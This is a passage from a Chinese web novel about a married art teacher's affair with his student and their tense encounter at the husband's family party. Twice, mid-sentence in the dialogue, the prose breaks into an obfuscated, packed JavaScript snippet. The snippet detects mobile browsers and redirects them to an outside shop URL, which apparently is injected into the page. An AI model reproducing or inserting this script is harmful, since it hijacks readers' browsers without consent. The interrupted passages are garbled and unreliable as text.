谢念慈不知该作何感想,甚至他开始后悔了,后悔自己的一时冲动。林承望到底有没有出轨?那张照片或许只是某些人的恶作剧呢?但有一个事实不容置疑,他确实出轨了,和自己的学生,滚了一晚上的床单。 这一次严重的偏轨事故,他才惊觉自己隐含的软弱与虚荣。他没必要装作对珠宝金银不感兴趣,平时不戴是因为要上课。不要很多很多的钱,只要很多很多的爱……这种话他也难以启齿,毕竟人性经不起考验,如果林承望真的是个穷小子,他们真的会结婚生子吗? 但事情已经发生了,他必须克服软弱,学会撒谎,学会遮掩,学会对林承望温柔体贴地微笑。 林承望见他一动不动,亲自取下那只手镯,走上前,给他戴上。在丈夫触碰到自己的一瞬,谢念慈浑身僵硬,瞥到无名指上那一抹红痕,下意识想遮掩,但已经来不及了,林承望握住了他的手,将手镯戴了上去。 非常衬他的肤色和细手腕,悠长的一圈天蓝色,冰凉坚硬的质感,将打扮简约的他烘托出了几分珠光宝气。 “这是我从港市拍卖会拍下的好料子,请了大师切割起料,比咱妈手上的那个帝王绿还要稀罕,大概花了七百多吧,我忘了,小夏替我谈的价格,我当时一看就觉得很适合宝宝,今天戴上了果然很好看。” 说着,林承望亲了亲他的脸颊。 谢念慈声音发涩:“七百多……万?这也太贵重了,我平时不方便佩戴……” 林承望笑了:“这有什么?周五的宴会宝宝总不能这样素面朝天的去吧?”男人轻轻扫了一眼谢念慈,终于发觉他脸色苍白得吓人,便出口关心道,“怎么了?不舒服吗?脸色这么差。” 谢念慈轻咳了一声:“酒喝多了,有点想吐。” “那就去休息吧,我今天没事,陪宝宝,好不好?”林承望抱紧了他,头埋进他的颈窝,亲吻他的脖子。忽然男人一顿,皱了皱鼻子,问,“宝宝身上什么味道?覃阿姨换了洗衣液?” 是蒋淳的气味。 谢念慈心悬在了嗓子眼,撒谎道:“酒店里的洗衣液,没看什么牌子,想来也不是什么好牌子。” “是么?”林承望淡淡道,“好庸俗的香气,赶紧换下衣服,我陪你在床上躺一会儿,下午可能有一个视频会议。” 谢念慈别无他法,只得躲进卫生间换下衣服,穿上睡衣睡裤,反复确认脖子上没什么吻痕,才爬上那张大床,躺在林承望的身边。 现在好了,他和别的男人上了床,将半年来的空虚彻彻底底填满了。偏偏林承望挑在这个时候向他示好。如果早半年……甚至半个月,他生日那天,林承望从天而降,送他昂贵的镯子,陪他睡觉,或许他们不会走到这一步。 不过半个月,他和林承望已然同床异梦。 小腹隐隐作痛,估计也是避孕药的副作用。这些细微又折磨人的疼痛无一不在提醒他昨夜发生的事,闭上眼,蒋淳的情话、吐息犹在耳畔,身体仿佛还在男人的怀里…… 原来这个东西,有戒断反应的么? 他躺下,一打开手机,看见蒋淳给他发了三条消息: 【到家了吗?】 【身体有哪里不舒服吗?】 【想你。】 一分钟前发的,一眨眼,对方已撤回。 “宝宝?”林承望翻了个身,要抱他。 他马上按灭了手机,把头闷在被子里,瓮声瓮气说:“头好晕……” 林承望亲他的头顶:“好好睡一觉,我突然有点事,先去一趟公司。”一面说,一面起身,起到一半,又趴了回来,要亲谢念慈的唇。 谢念慈被丈夫突如其来的亲近弄得手足无措,他缩了一下身子,见过脸埋进枕头,躲过了林承望的索吻,半真半假撒娇道:“你快去公司啦。”想了想,装出一副嗔怒的样子,“我上周去找你,你又推三阻四的……怎么又来讨好我了?” 林承望说:“太累了嘛……今天晚上给宝宝补回来,好吗?” 不好。 谢念慈面无表情。 他还肿着呢。 8. 第 8 章 林承望当然没给他补回来,晚上十点多才回家,一回到家,匆匆洗了个澡就躺下闭上了眼,不一会儿呼吸均匀,睡着了。 谢念慈长舒一口气。他和林承望各盖一条空调被,毕竟不再是像连体婴一样亲密无间的年纪了,人说中年夫妻亲一口要做半宿噩梦,他们虽然还没到这种程度,但也没好到哪去。他用空调被把自己裹起来,蒙住了头,手机调到夜间模式,偷偷玩了起来。 说是玩手机,实则是在等某人的消息。 他注册了一个小号,联系列表里只有蒋淳一个人,平时切换到大号,而这个小号,则隐藏起来,只有没人注意的时候才会切换。 蒋淳:【刚到家。】 蒋淳:【好一点了吗?】 谢念慈:【没什么事了,就是下午睡了一觉,晚上估计有点睡不着。】 蒋淳:【老师明天来画室吗?】 谢念慈:【你猜。】 蒋淳:【我猜老师一定会来。】 蒋淳:【对了老师,不是说一夜情对象吗?怎么还注册了小号加我?】 蒋淳:【冷酷一点嘛。】 蒋淳:【老师越难追我越有动力。】 蒋淳:【开玩笑的。】 蒋淳:【只要老师愿意和我说话就足够了。】 神经病! 谢念慈把头埋进枕头里,稍微冷却了一下,正准备回复蒋淳,忽然听到被子外面传来弱弱的呼唤声:“妈咪……” 他心中一惊,手忙脚乱切换账号,把手机反扣在枕头下,随后掀开被子,看见自家儿子抱着奥O曼和小被子站在床头。 “小鱼?”谢念慈心头乱颤,背着老公和一夜情对象聊天,倒没什么压力,但一看到小鱼,他那股愧疚又飘上了,“这么晚了,你怎么不睡觉呀?” 小鱼,或者说,林羽宸小朋友看着妈妈,泪眼汪汪,细声细气说:“房间里有怪兽,我害怕……妈咪陪小鱼睡觉好不好?” “房间里怎么会有怪兽?”谢念慈哭笑不得,坐起来,把儿子抱上床,捏了捏儿子的小脸,“你今天是不是又偷偷看电视了?” 小孩支支吾吾:“没有……” 谢念慈把儿子抱到他和林承望的中间,给儿子盖上小熊图案的被子,说,“不能撒谎哦,看电视就看电视了,妈咪不会说小鱼坏话的,偶尔看看奥O曼也挺好。” 小鱼抱着奥O曼玩偶,缩进谢念慈的怀里,小小声说:“我长大了想变成奥O曼,这样就不怕怪兽了,还能保护妈咪。” 谢念慈心软软的,紧紧抱住儿子,嘴唇不停亲着小孩的额头和脸颊。小鱼就乖乖地躺在他的怀里,身上软软的,眨巴着一双大眼睛。 “快睡觉啦。”谢念慈说,“明天早上还要去幼儿园呢。” 小鱼把眼睛闭上。 这一番动静总算惊动了熟睡的林承望。男人手一捞,没捞到妻子,而是摸到了儿子的脸,半梦半醒问:“怎么了?大晚上的谁在说话?” 小鱼瓮声瓮气说:“爸爸,是我。” 林承望清醒了不少,坐起身,一边端起床头柜上的水杯,一边说:“你怎么跑到爸爸妈妈的房间里了?” 小鱼蜷缩在谢念慈的怀里,只露出一个毛茸茸的脑袋,说:“房间里有怪兽,我害怕,来找妈咪。” 谢念慈抚摸儿子的后脑勺,小孩的头发又细又软,散发着好闻的儿童洗发水气味。谢念慈说:“估计是白天覃阿姨打开电视给他看奥O曼,他被里面的怪兽吓到了。你快睡吧,明天早上还要开会。” 大概是太久没和儿子说话,林承望难得露出一点父亲的耐心,笑着对儿子说:“天天看奥O曼,小鱼学会变身了吗?” 小鱼摇摇头。 三岁的小男孩正是上房揭瓦人嫌狗厌的年纪,别的小孩皮得要死,把全家逗得团团转,林羽宸小朋友却乖得过分了。他的大脑在严肃思考为什么买回来的变身器只会发出音乐和光,却不能让他像大古一样变身拯救世界。小孩都有这个梦想,但没有一个人比林羽宸小朋友认真。 林承望笑了两声。 小孩大概是觉得被老爸瞧不起了,从妈妈怀里挣脱出来,站起身摆出变身的姿势,大声说:“我一定会变身的!我要打怪兽!我要保护妈咪和覃覃阿姨!如果爸爸欺负妈咪,我也会变身成奥O曼打爸爸!” 林承望笑说:“这么厉害哇?” 小鱼在床上蹦蹦跳跳,想证明自己超厉害的,谁料他妈妈突然出声道:“好了,快睡吧。”说着,把儿子拉回自己的怀里,脸紧紧贴着小孩的后脑勺,泪流满面。 该怎么形容这种感受? 谢念慈突然发现成年人的伪装在小孩面前不堪一击,其实小鱼什么都懂,他和林承望之间的生疏连一个孩子都看出来了,成人的欲望、恩怨,在小孩的世界里都不存在,小鱼只是想保护他,变成奥O曼。 林承望也躺下了,一家三口相对无言。小孩入睡很快,在妈妈有一下没一下的轻拍下,不一会儿就打起了小小的呼噜。紧接着林承望也睡着了,呼吸绵长。谢念慈忽然有些恨这人不打呼噜,这样他就能义正辞严和林承望分房睡觉…… 身旁躺着丈夫和儿子,他的思绪却飘得很远很远,如果不是还抱着小鱼,他可能早就翻出手机,和那个人聊天了。他突然想和蒋淳分享自己的生活,寂静的夜,熟睡的家人,落寞与感动并肩同行的心。 但他不能。 不能。 他不仅仅是林承望的妻子,更是小鱼的妈妈……如果昨夜是一场春梦就好了,梦醒了,他无需有负担,但正因不是梦,他有着必须背负的道德责任。 不能。 睡吧。 …… 第二天一早,谢念慈送小鱼上幼儿园,车头一转,直接到了画室。B美大概都放暑假了,而艺考生的集训刚刚拉开帷幕,谢念慈总有操不完的心,明明自己只是幕后老板,却还是喜欢往画室跑。 他喜欢年轻人,二十岁的人即便是颓废,也有着无与伦比的生命力,一旦过了二十五岁,身体机能和心气会骤减,他不想过早体会中年危机,他需要这些学生们的活力。 他没去注意蒋淳来了没有,径直掠过一楼的大画室,眼睛斜也不斜上了楼。一进自己的办公室,咖啡的气味扑面而来。 办公桌上放着一杯xx家的咖啡,奶味很重。他走上前,拿起来发现还是热的,再一看,咖啡底下压了一张纸。 打开,是一幅速写。 门框倚着一个纤瘦的人,神情宁静,唇角含笑,身形优雅。作者一定观察了速写对象很久很久,习惯在身前交叉的手也画出来了,一旁写道:“你昨晚没回我消息,给你买了加奶加糖的拿铁,一直很奇怪,喝得下冰美式,为什么又讨厌不加糖的拿铁?” 速写对象是谢念慈。 字迹是蒋淳的。 谢念慈在原地愣了一会儿,捏着那张速写,缓缓坐到椅子上,看了许久,才拿起咖啡喝了一大口。暖的,甜的,微苦的,比起冰美式好喝多了,但他只有喝美式才能提神,热的美式和中药没什么差别,冰的勉强能入口,甜的拿铁令他发困。 他把速写纸对折,塞进抽屉里,从一旁抽出一张干净的白纸,用铅笔在上面写写画画,又立马擦去。夏日早晨的阳光在被反复擦拭的白纸上打转,染上一层淡淡的暖黄,越画,嘴角越压不住笑意。他已经很久没有好好画过一幅像样的作品了,生活的麻木导致艺术激情的消退,但最近,他迫切想画点什么,故而现下画得很认真,擦得也很认真。 画完了,他把纸团成一团,拿起包和咖啡,下楼,走进大画室。 蒋淳正在一个角落里练习色彩。 现在很早,画室里没几个人,谢念慈一步两步靠近蒋淳,在那个人回过头时,不偏不倚,将纸团砸到蒋淳的胸口,然后飞速撤退。 蒋淳戴着耳机,被砸中时还有些懵,随后笑了笑,捡起落在地上的纸团,打开一看,居然是空白的。 不,不能说是空白的,而是写过或者画过一些东西,却被人擦干净了,橡皮屑还黏在上面呢。蒋淳仔细辨认了好久,才发现左下角写了一句“不告诉你”,被擦掉了。 这行字下面又写了一句“要你管”,又被擦掉了,至于画了什么…… 蒋淳看了很久,心情失落。 不是他。 而是某著名的奥O曼。 搞不懂谢念慈的大脑。 毫无疑问,这位太太非常容易心软,嘴软心软哪里都软,甚至蒋淳觉得他的心理年龄也没多大。大概走浪漫路线的艺术家都是如此,心里总要保持着些许童真,谢念慈也八九不离十。蒋淳可以看得出谢念慈的情绪,却抓不透谢念慈的真实想法,像隔了一层雾。 好想知道。 但再怎么想,也急不得。蒋淳依旧坚持有事没事给谢念慈的小号发消息,哪怕谢念慈并不回复。他莫名其妙想起一个吊丝笑话:昨天梦到你把我删了,还好,只是不回复,不回复就是有希望,不是拉黑,不是删除,大赢特赢。 正所谓敌进我退,敌驻我扰,敌疲我打,敌退我进。 论持久战。 蒋淳每门思政课都是90以上的成绩。 当然,谢念慈不是敌人,是一夜情对象,而蒋淳想和这位有夫之妇发展长期关系。 他总体感觉是比较乐观的,他很体谅谢念慈,毕竟还有家庭,看不爽老公总不能连小孩也一起恨吧?谢念慈不是那样的人。 这几日他忙着和明锐画廊的大老板朱总聊合作,和同事换了课,早上去画室晃一圈看看谢念慈来没有,中午到晚上跑去朱总那儿喝茶。朱总是典型的两广大老板做派,千里迢迢搞了一大块阴沉木运到B市,打造成茶几,逢人就给泡功夫茶,一点大老板的架子也没有。蒋淳画《飞天》的时候做足了功课,和朱总聊佛学聊得头头是道,把人哄得心花怒放,直呼他们两人应为莫逆之交。 朱总的起家之路也很传奇。二十多年前他不过是G省首府一家粤菜馆的厨师,硬是干到了特级大厨,上电视,开连锁餐饮店,搞高端商务宴饮,长得一脸横肉、五大三粗,头上已寸毛不生,一脑门的油,胸前挂着一块帝王绿翡翠龙牌,手腕上绕着一大圈菩提珠,通身江湖气。蒋淳因为父亲做烟酒生意的原因,见过不少这类的大哥老板,从小掌握和他们交流的方式,进退自如。 周五那日中午,朱总请他和同校版画系、隔壁T大美院国画系的两位同学,先签了合同,要求他们一年内每人各创作十幅佛教主题的画,不能太深奥,也不能庸俗,要既出世又入世。这种话落到蒋淳耳朵里,就变成了“使劲地忽悠我,我有得是钱”,开价大几万一幅,不全力以赴感觉对不起人家。 签完合同,朱总请他们吃饭,蒋淳这才知道谢念慈生日那家私房菜,也是朱总旗下的,怪不得装潢颇有品味,高端大气上档次中又带着一丝江湖义气。他自然是把这话说给朱总听了,朱总笑得直拍他的肩膀:“你这小子,会哄人!” 蒋淳谦虚一笑。 朱总又问他:“嘴那么甜,有女朋友了没?” 蒋淳心道,没有,有一夜情对象,人家还没离婚呢,嘴上说:“没有没有,忙着上学呢,哪有时间搞这些。” 朱总说:“我给你介绍一个……”说着,桌上的手机响了,朱总拿起手机,跑到外面打电话去了,徒留下三个大学刚毕业的美术生面面相觑。 过了一会儿,朱总回来了,笑着对他们说:“哎哟,我都忘了今天下午有大佬请我参加宴会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146440|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,我带你们去见见市面。” 蒋淳连忙站起来,说:“朱总,这样不好吧?” 朱总哈哈一笑:“有什么不好的?他们家有自己的大庄园,不差你们这三个人的饭!你们多去看看,认识认识大佬,现在的行业不景气,没点人脉路不好走,你们还年轻,嘴巴又甜,机会来了就赶紧抓住。” 蒋淳想去。 比起大学同学聚在一起打手机游戏的毕业谢师宴,这种名流如潮的宴会更能帮助他,指望同学日后成大款还不如靠自己,他麻利上了朱总的车,其他两个毕业生咬咬牙,也上了车。 上了车,朱总才咧嘴笑说:“你们知道是谁家的庄园吗?” 三个大学生摇头。 “林高格的庄园,这你们总听说过吧?大佬中的大佬,光是建那个庄园就花了大几亿。”朱总拍了一下手,“他儿子年轻有为啊,跑去G市愣是把一大块地皮啃下来了,将来要打造成吃喝玩乐一体的大型广场和住宅区,他们家的商场入驻餐饮业,头一批就找我。” 蒋淳愣住了。 朱总还在副驾驶喋喋不休:“唉,乱世黄金,盛世古董,我跟你们说,要看那些好的古董,去博物馆没用的,好东西全被这些人拿走了。林高格他老婆出身无锡骆家,哦哟,清代一品大员的后人,家里一堆古董,听说还藏有魏晋时期的佛头……” 蒋淳有些耳鸣。 “……小蒋?小蒋?” 朱总在叫他。 他连忙回过神,说:“朱总有事?” 朱总笑说:“林家的儿媳妇是你毕设导师对吧?那可真是巧了。” “是。”蒋淳听到自己说。 他想下车。 但开弓没有回头箭。 只能求宴会上的人多一点,谢念慈忙一点,朱总和别人聊得嗨一点……他还没做好和谢念慈一家碰上的准备。 庄园建得非常漂亮,法式独栋,一望无际的绿草坪,分成了露天宴会区、马场、高尔夫球场等功能区,里头的人个个衣着体面,能看见不少新闻上的熟面孔。 哪怕是成熟如蒋淳,也不免束手束脚,和两个同龄人跟在朱总背后,见了不少人。朱总介绍他们说:“我最近看上的青年艺术家!B美和T大美院的高材生!” 他们就赔笑,也不敢多说什么。 蒋淳看了看手机,打算五点就走,说不定还能赶上谢师宴。 一旁的同行学生已经吃上了,据说庄园提供的下午茶味道相当不错,三条长长的披着蕾丝白布的桌子,小巧精致的甜点摆在上面,随时有人为来客添酒,蒋淳没敢多喝,端着杯子,强迫自己不要去搜寻谢念慈的下落。 朱总忽然说:“小蒋!你快过来!” 他连忙转身,整理了一下衬衫,毕竟是和朱总吃饭,他今天穿的是正装衬衫和黑色西裤,放在这种场合不算寒酸,谁料一转头,谢念慈的身影直直闯入他的眼睛。 他从未见过这样的谢念慈——长发盘在脑后,戴着成套的珠宝,右手腕叠戴着黄金镯、朱砂手串和天空蓝玻璃种翡翠镯,脖子系着银灰色的丝巾,身上的礼服一看便知和身旁男人是一套的,都是银灰色搭配雪白衬衫,精英感油然而生。 谢念慈挽着那个男人的手臂,牵着一个长得和他有几分相似的小男孩。小男孩也打扮得体面可爱,背带短裤小蝴蝶领结,黏在谢念慈的身边,只露出半张小脸,眨巴着大眼睛观察宴会上的成年人。 朱总爽朗一笑,大步上前,口中道:“林总——好久不见!” 银灰色西装男也笑,礼貌与朱总抱了一下:“朱总,真是好久不见,之前在G市想请你吃饭,结果你又常住B市了!” 朱总笑:“等你们在G市的项目起来了,我肯定要回去支持的嘛!” 寒暄完,西装男又抬起眼,朝他们几个看来:“朱总,这几位是……” “哦,是我最近从美院挖出来的高材生。”朱总很热情介绍他们几个,“来,小蒋,小郭,小李,你们来和林总林太太打招呼。” 蒋淳只看了一眼谢念慈,便收回了目光,面色无波走上前。 朱总又说:“林太太,小蒋是您的学生吧?年轻有为啊!我上周在B美毕设展对他的画一见倾心,让他来和我一起搞项目,小蒋厉害的啵,会说话,懂事,林太太,您教得好啊!” 谢念慈也看了蒋淳一眼,笑容得体:“是的,小蒋是个很有天赋的学生,能被朱总看上,真是太好了。” 西装男闻言挑了挑眉,问谢念慈:“你学生?” 谢念慈点头,眼神却避开了西装男。 “你好。”西装男,不,林承望上前一步,对蒋淳伸出一只手,“我是你老师的丈夫,很高兴认识你。” 蒋淳笑了笑,与林承望浅浅握手。面前的男人在他眼里完全是马赛克状态,看不出任何与谢念慈相配的点。他说:“哪里哪里,蒙承老师教导罢了,老师也常常和我提起林总,说您和他感情特别好。” 各种方面的教导。 床上床下。 但蒋淳始终没有表现出任何嫉妒、不忿。他看着这一切,心里酸水直冒,才发觉他是个小偷,偷走了谢念慈一个晚上,现在魔法消失了,他们回到了原点,甚至被推向了更远的位置,中间隔着一处巨大的阶级鸿沟。 他需要多少钱、多少努力,才能把谢念慈从林承望手里正大光明抢走? 他为了避开谢念慈,转过身让招待生添酒,可在偏过头的那一瞬,两人目光相接。他看见谢念慈的眼睛依旧明亮温柔,却又蒙着一层水雾,向他眨了眨眼,旋即又垂下眼眸,恢复波澜不惊的模样。 别露出这样的表情。 蒋淳心中苦笑。 不然我真的要当场把你抢走了。 9. 第 9 章 谢念慈怎么也没想到会在这种场合遇见蒋淳。 他甚至都打算把那个小号注销了。 但潘多拉的魔盒一旦打开,似乎就永远无法合上。蒋淳成了一个幽灵,盘踞在他的手机里、脑子里、心里……时不时冒出来,对他笑,贴着他的耳朵说悄悄话。 他并非完全不看蒋淳的消息。 而是反复看。 早上睡醒,偷偷切换小号,看见红点就情不自禁点进去。蒋淳什么都发,早中晚饭,看到了什么好玩,学生画了什么怪图,还有一些若有若无的暧昧的话,问,老师你在看吗? 谢念慈总是忍不住点进去看。进进出出小号一天之后,他深深反省了自己的不争气,决定把小号退出,这样每次想点进去都要输入账号密码,很麻烦,多输几次密码,自然就不想看了。 没用。 手贱。 谢念慈还是捧着那个手机,心想,蒋淳蒋淳,你为什么要发消息?蒋淳蒋淳,你为什么又不发消息了? 归根结底,是他太闲了,到了周五那日林氏宴请四方,他压根没空切小号。一旦忙起来,那些幽微的情绪也无从细想了,他看着自己的丈夫,以及丈夫的父母,决定先调查林承望是否出轨,没有出轨,就带林承望去看男科,至于蒋淳,彼此就不耽误了吧。 结果蒋淳直接撞入他的眼帘,不再是T恤牛仔裤运动鞋,穿着衬衫西裤,头发似乎用啫喱抓过了,站在朱耀群的身旁,很扎眼的一个人。 当朱耀群引荐他们见面时,谢念慈的心提到了嗓子眼,扑通扑通乱跳。他挽着自己的丈夫,而丈夫正在和蒋淳说话,这是他千想万想没想到的画面,真是人在做天在看,然后天弄人。 蒋淳转过身,他也看了过去,结果恰恰好目光相对,他忍不住眨了眨眼,又匆忙移开,直到一旁的丈夫和朱耀群聊完天,一行人在人海中弥散,他才稍稍喘了一口气。这场宴会太无聊了,他一直强打精神应对,可蒋淳出现了,他不知道意味着什么,只是觉得心有那么一点飘飘然,尤其是看到蒋淳离去前的那个眼神。 “宝宝,你是不是累了?”正胡思乱想着,一旁的林承望拍了拍他的肩膀,面露温和的微笑,“一会儿人怕是越来越多,你带小鱼去休息一下吧,到花园那里和妈她们说说话。” 谢念慈求之不得,赶忙拉着儿子走向花园。 今个天气好,正值六月,花园里蔷薇正盛,重瓣法国蔷薇、密刺蔷薇、七姊妹……园艺工作者用白色栅栏将它们与主要道路分隔,浓绿点缀着艳色,娇艳欲滴。太太们嫌外面吵,大多随林母在花园里喝茶聊天,花园里浮动着馥郁的香气。 “林太太?” 走到一半,一个男声在谢念慈身后响起。 有点熟悉。 谢念慈转身一看,竟然是那位古里古怪的婚姻咨询师万逸。 万逸穿着一身十分骚包的白西装配酒红领结,见他回了头,一推眼镜,弯下腰对小鱼笑说:“小林总,你好呀。” 小鱼直往谢念慈身后躲。 万逸说:“别害怕嘛,我是你妈妈的朋友。” 小鱼看看他,又看看自己的妈妈,快哭出来了,但还是很有礼貌说:“叔叔好。” 万逸笑:“真乖。” 谢念慈对此人十分警觉,冷冷看着万逸,问:“你来这里做什么?” 万逸笑容不变:“我爸是万峰,你家的老朋友,我虽然不争气,但来你们家蹭顿饭也勉强算有资格吧?” 居然是万峰的儿子。 万峰也是个奇人,处处留情,生了七八个儿女,只有一个是妻子生的,其余的全是私生子。谢念慈见过万峰名义上的大儿子,却没听说过万逸,大概是私生子了,而这个私生子正在哄骗豪门太太们出轨…… “你有什么事吗?”谢念慈淡淡道。 万逸没回答他,而是对小鱼说:“小林总,叔叔要和你妈妈说几句话,你能到那边的亭子玩吗?” 谢念慈攥紧了小鱼:“你要和我说什么?” 万逸说:“反正小孩不能听。” 谢念慈说:“那也就没必要说了。” 说罢,转身便要走。 万逸大跨一步,拉住谢念慈的胳膊,凑上前用气声说:“林太太,我可是看得一清二楚……刚才朱耀群带过来的那个高个子男生,是你的学生?你们两个人注意点吧,眼神都快拉丝了。” 谢念慈装傻:“谁?万老师是不是看错了?” 万逸低笑了两声:“谁知道我看没看错呢?不过,林太太要是觉得寂寞,不妨来我的机构,找穷学生约会怎么会有我好玩呢?而且您一定很担心露出马脚吧?我有个好办法,太太您要不要听一听?” 直觉告诉谢念慈不是什么好话,他立马拒绝道:“不要。” 但万逸还是说了,离谢念慈很近很近,身上的古龙水味熏得谢念慈心烦意乱:“保密的方法就是……让我也加入,一个奸夫是奸夫,两个奸夫也是奸夫,我成了太太您的地下情人,自然也就会替您保密了……” “变态!” 谢念慈当即捂住了小鱼的耳朵,狠狠瞪一眼万逸,转身就要走。 小鱼不明所以,一个劲望着眼前奇怪的叔叔,不知道为何妈妈的反应那么大。 万逸在母子俩身后摊了摊手,扯开嗓子无奈说:“我只是开个玩笑嘛——” 鬼知道这种变态是不是在开玩笑?谢念慈干脆抱起了小鱼,脚步匆匆向花园里走去,正好林母在,便将小鱼给了林母,一个人躲进了角落里平复心情。 而一道花墙之隔,他听见另一个亭子里传来阵阵笑声,透过重重花影,他看见万逸正和几个珠光宝气的女士聊得火热,几位女士被他频频逗笑,与他举止亲密,明明穿着白西装,却像只招摇过市的雄孔雀。 这个人究竟什么来历? 很快谢念慈就知道了。 到了晚上,宴会还没结束,林承望带着他到处敬酒,忽然万逸从不远处走来,对着他和林承望遥遥举杯,说:“好久不见啊,林总。” 林承望也举杯:“老同学,好久不见。” 谢念慈当场石化。 晚上他和林承望在庄园的卧室里歇息,翻来覆去睡不着,便问:“那个万逸是你的同学?” 林承望“嗯”了一声,旋即又撑起身子去够水杯,随口说:“他爸是万峰,虽然是私生子但还算争气。我和他都是宾大出来的,以前也喝过酒,怎么了,宝宝认识?” 谢念慈麻木摇摇头:“不,不认识,只是好奇。” 林承望喝完水,又躺下了。 谢念慈险些吓得睡不着觉,原本计划着注销小号的事一拖再拖,等到第二天起床,他顺着肌肉记忆切换至小号,看到男生给他发的十几条消息,却又舍不得了。 如果昨天蒋淳没有突然出现,那一定是一场非常非常无聊的宴会,但正因为蒋淳出现了,谢念慈才忍不住去回忆。 蒋淳给他发了好几张谢师宴的图片,只字不提昨天在林氏庄园的那一面。 这让谢念慈安心,他可以暂时不去回想那个奇怪的万逸。他再怎么寂寞难耐,也不可能和那种变态搞到一起去,看见万逸那种人就让他难受,会让他想起某些糟糕的二世祖,游戏人间,私生活混乱,感觉脏脏的。至于昨天与万逸的对话……这种变态,八成是在吓唬他,他绝对不能上当,露出了马脚。 他还有事要问蒋淳。 于是他发了这几日的第一条消息。 谢念慈:【你什么时候和朱耀群搭上关系了?为什么不告诉我?[生气]】 蒋淳几乎是秒回:【朱总出价一万五买下了我的毕设。】 谢念慈:【你为什么不告诉我!!!】 蒋淳:【对不起,我只是想把事情全搞定了再告诉老师。如果昨天没有见面的话,今天我就会给老师看我和朱总的合同。】 谢念慈:【我也想卖你的画,我可以给你开到两三万。】 蒋淳:【老师。】 蒋淳:【我们出来见一面吧。】 蒋淳:【手机上说不清。】 …… 下午两三点的时候,谢念慈开车回到市区,至于林承望,留在庄园和林父打高尔夫。谢念慈搞不懂高尔夫有什么好玩的,况且林承望才三十二岁,怎么看都不该是玩这种运动的年纪,他应该带着谢念慈去滑雪、冲浪,而不是在绿草坪上一下又一下地挥舞杆子。 他把车停在离画室不远的一个地下停车场,给蒋淳发消息:【我到了。】 蒋淳:【办公室吗?】 谢念慈:【xx广场的地下停车场。】 谢念慈:【你自己找。】 谢念慈:【车牌号:xxxxxx】 蒋淳:【好。】 等了大概十分钟,谢念慈自己坐不住了,下车拍了一张具体的位置。 谢念慈:[图片] 谢念慈:【在这里。】 谢念慈:【你到了吗?】 谢念慈:【你好慢!】 他心跳得很快,而停车场又过分安静了,整个车里都是他扑通扑通的声音。抬眼一看,后视镜里的人脸颊到耳根都泛着红/潮,便连忙用手拍了拍脸。车外偶尔有陌生的车和人经过,空调发出嗡嗡的细鸣。 【我到了。】 谢念慈开了车载音乐,里面的人正在缓缓唱一首英文歌,《Nothing''s Gonna Change My Love for You》。他忽然想起大学时他选了一节电影赏析的水课,老师很有激情,给他们放各种电影,还让强烈要求学生收藏自己的OST歌单,在一部讲述婚外情的电影中,他听到了这首歌。那个时候他和林承望的感情很好,天天煲电话粥,尚且不能与主角感同身受,但十多年过去了,他听着这首歌长叹一口气,一转头,看见车窗外蒋淳的脸。 蒋淳打开副驾驶的门,笑着说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146441|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午好。” 大概是跑过来的,男人脸上淌着汗,但并没有什么汗味,只有暖烘烘的身体逼出的留香珠气味,淡淡的薰衣草香。他坐上车,从包里掏出一份文件,递给谢念慈。 谢念慈接过来,翻了翻:“你和朱耀群的合同?” 蒋淳说:“是,卖《飞天》的合同,还有我接下来一年为他新餐厅创作大幅油画的合同,昨天都已经谈妥了。” 谢念慈板着脸,不肯看蒋淳一眼:“为什么不告诉我?我好歹也是你的导师,毕设说卖就卖了,连导师的建议都不寻求一下的吗?” 蒋淳笑说:“我要是跟老师说了,老师出高价买走,我情何以堪?不就成富婆和小白脸的套路了吗?我可不想当小白脸。” 这人在胡说八道什么? 谢念慈故意气蒋淳,哼哼说:“难道不是吗?我有钱,你没钱,别的小男生找富婆是为了钱,你难道不是吗?” “不是。”蒋淳当即说,“我有大男子主义,花别人的钱、尤其是女朋友的钱很丢脸。我就是怕老师插手,所以才闭口不谈。以后只能我送老师东西,老师送的我一概不收。” 这话把谢念慈听懵了:“你……你要送我什么东西?” “没想好呢。”蒋淳笑笑,“不过,明年老师的生日我已经策划好了。” 谢念慈低下头,轻声问:“你策划了什么?” 蒋淳卖关子:“现在就说吗?那就没惊喜了。” 谢念慈说:“我想知道,你不说,我就不理你了。” 蒋淳凑上前,盯着他,说:“我找到一个只有我和老师的地方,躺下来,能看到银河和满天的星星。但也只是有这个想法,那个地方在郊区,是个人很少的露营地,周边很安静……” 谢念慈脑海里浮现出满天星星的画面,心又飘了起来。但他并不买账,依旧抓着卖画的事不放手:“不许跑题!我跟你说,朱耀群不是好搞的人,你和他合作,小心被带进坑里。他喜欢拉人赌石、收古董,给他画画没问题,但千万别信他的那些投资,你一个穷学生,能玩得了几个钱?” 蒋淳说:“也没那么穷吧,这几年我打工做外包也攒了十几万,打算先买一辆代步车,在我老家那里上牌,等有钱了、拿到B市居住证,再换辆好车……哪有钱和他玩投资?” 他在和谢念慈谈未来。 赚钱的方法千千万万,尤其是他这么一个形象佳声音好的美术生,仅仅靠着幽默点评艺考生的画作,就能在短视频平台上收获万赞,甚至接广告。在自媒体平台上有了名气,在经过朱耀群的推波助澜,说不定能接到大项目。他并没有打算一步登天,但至少……得在B市三环内买一套房吧。 